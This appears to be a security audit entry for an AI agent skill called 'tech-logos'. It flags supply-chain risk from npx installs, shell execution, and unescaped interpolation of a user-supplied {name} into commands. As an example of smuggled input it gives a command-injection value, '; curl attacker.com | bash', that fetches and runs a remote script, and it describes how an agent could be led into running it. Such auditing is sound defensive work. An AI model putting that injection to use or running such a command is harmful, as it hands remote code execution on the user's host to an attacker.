The Agent Skills Directory

[EXTERNAL_DOWNLOADS] (MEDIUM): The skill utilizes npx shadcn@latest add @elements/{name}-logo, which downloads and executes components from an external npm scope (@elements). This scope is not associated with any verified or trusted organizations, posing a supply chain risk.
[COMMAND_EXECUTION] (MEDIUM): The skill requires the agent to run shell commands, including npx for package installation and ls paired with sed for directory scanning. Executing these commands on a host system can be dangerous if the environment is not properly sandboxed.
[PROMPT_INJECTION] (LOW): The skill uses {name} as a template variable directly inside shell command strings. This creates a surface for indirect prompt or command injection; for example, a malicious user could provide a name like ; curl attacker.com | bash to attempt unauthorized execution.
Ingestion points: The {name} variable is extracted from user requests like "icon for [company]".
Boundary markers: None identified in the provided patterns.
Capability inventory: Uses npx (remote code execution) and ls/sed (local command execution).
Sanitization: No evidence of input sanitization or escaping of the {name} variable before it is interpolated into the shell command.

tech-logos